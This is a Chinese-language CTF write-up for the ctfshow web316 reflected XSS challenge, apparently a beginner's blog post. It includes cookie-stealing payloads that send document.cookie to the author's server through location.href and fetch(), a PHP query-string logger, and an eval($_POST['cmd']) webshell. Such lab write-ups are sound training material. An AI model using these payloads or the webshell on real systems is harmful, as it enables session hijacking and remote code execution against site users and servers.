ctfshow-web316

(感觉最近做的好多不是我现在这个阶段能啃下来的,然后发现web还有几大板块没怎么学过,因此先转到这些板块上来看,也是一篇从零开始的XSS, 然后这里有一块需要注意的是得用自己的服务器,然后网上看到有别的师傅的wp找了个xss平台之类的,没怎么具体了解过,个人感觉自己搞一个服务器还是挺划算的,【这里没有推广告的意思】我自己用的腾讯云的轻量应用服务器,新客户99一年,有时候搞活动还能再便宜,具体怎么搭建可以参考从0搭建RFI,如果搭建麻烦的话也可以先不进行搭建,只是作为一个中转的平台来运用)

一:前置知识

**跨站脚本(Cross-Site Scripting,XSS)**是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。【这篇就只讲反射型XSS】

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。

反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

例如一个服务器端代码:

php 复制代码
<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Feedback for end user 
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
} 
?>

代码直接引用了 name 参数,并没有做任何的过滤和检查,存在明显的 XSS 漏洞。

(316这里主要还是跟cookie窃取有关,这个放到后面再讲)

二:具体题目

1.初步尝试(x自己)

进去之后是这样一个页面:

这里直接给出了生成链接,那么就是反射型,我最开始构造的是这么一个:

css 复制代码
<script>alert(document.cookie)</script>

1 <script>...</script>

告诉浏览器:里面的是 JavaScript 代码,不是普通文字。


2 alert(...)

  • alert 是浏览器自带的函数

  • 作用:弹出一个对话框

常用于测试:
只要能弹窗,说明 JS 被执行了


3 document.cookie

  • document:当前网页

  • cookie:当前网站保存的 Cookie

也就是:读取当前用户在这个网站的 cookie 信息

总的来说就是**:在网页中执行一段 JS,弹窗显示当前网站的 Cookie**

但是这里明显有个问题:

这里显示说不是admin【最后面的那个admin是我之前自己搞了个user值为admin,但是没啥用】

这里拿视频里来说就是自己x了自己,但我感觉讲得有点怪怪的,望知道的师傅能解惑。

2.外部服务器应用(x别人)

(我用的是Ubuntu)

1)最直接的方法

先在服务器里开个监听:

bash 复制代码
python3 -m http.server 8000

然后在平台里输入:

css 复制代码
<script>
location.href='http://服务器IP:8000/?c='+document.cookie
</script>

location.href = ...

这一句的意思是: 让浏览器立刻跳转到这个 URL ,而"跳转"本身 = 一次 HTTP GET 请求

所以这整一句话就是**cookie 已经离开目标网站,到我们的服务器上了,**然后我们再在服务器上打开就能看到flag:

2)环境已经搭建情况下

我们首先要在服务器上写一个恶意文件,利用文件中写入文件的功能,将获取的cookie呈现在服务器文件中,直接一并展示了:

bash 复制代码
cd /var/www/html   //写到该目录下

nano x.php //写入恶意文件

<?php
file_put_contents("log.txt", $_SERVER['QUERY_STRING'] . PHP_EOL, FILE_APPEND);
echo "ok";
?>

touch log.txt
chmod 777 log.txt    //这里我新建一个log.txt写到这里面

如果写入文件正常的话访问**服务器IP/x.php?test=123,**会显示ok:

然后依旧使用我们之前的payload,点击生成链接后再回到服务器输入:

bash 复制代码
cat /var/www/html/log.txt

正常结果将会如下:

3)无中生有(可直接跳过不看)

这块我想的是视频里是连了蚁剑的,如果我也想连蚁剑的话恶意文件和payload就得这么写:

bash 复制代码
<?php 
$content = $_POST['c']; 
if(isset($content)){
    file_put_contents('log.txt',$content);
}else{
    echo 'no date input';
}

<script>
fetch('http://你的服务器IP/x.php', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: 'c=' + encodeURIComponent(document.cookie)
});
</script>

因为是post请求直接看不到,所以还得新建一个webshell:

php 复制代码
<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);
eval($_POST['cmd']);

后面因为某个页面回显搞了好久,其实环境配置是没有问题的,可以连上蚁剑:

然后在log.txt中可以找到flag【但我不确定是不是之前的方法留下来的,建议读者再自行尝试尝试】

三:总结

总之这里就是反射型XSS最经典的一个应用,通过这道题我们了解了最经典的payload的构造以及如何通过外部服务器进行cookie窃取【感觉这里有点像OBB】,最后面那个蚁剑连的我感觉是不太行的,因为最前面还有个test=123这么一个东西,但一口吃不成个胖子,这些还是以后慢慢研究好了。

相关推荐
星星在线2 小时前
MusicFree:一个「All in One」的个人音乐服务器,让听歌回归简单
前端·后端
IT_陈寒3 小时前
Redis的SETNX并发问题让我加了三天班
前端·人工智能·后端
demo007x3 小时前
Docling 文档转换以及技术架构分析
前端·后端·程序员
京东云开发者4 小时前
京东市民服务又“上新”!这次是黑龙江“龙易办”
前端
袋鱼不重5 小时前
我的神奇同事,AI 用多了居然写了个 Open In Codex
前端·后端·ai编程
大树885 小时前
金刚石散热越强,管路越先见顶
大数据·运维·服务器·人工智能·ai
摇滚侠5 小时前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
Fireworks5 小时前
深入vue3源码解读 -- 1、响应式的基础概念
前端
程序员黑豆5 小时前
JDK 下载安装与配置详细教程
java·前端·ai编程
hunterandroid5 小时前
文件存储:内部存储与外部存储
前端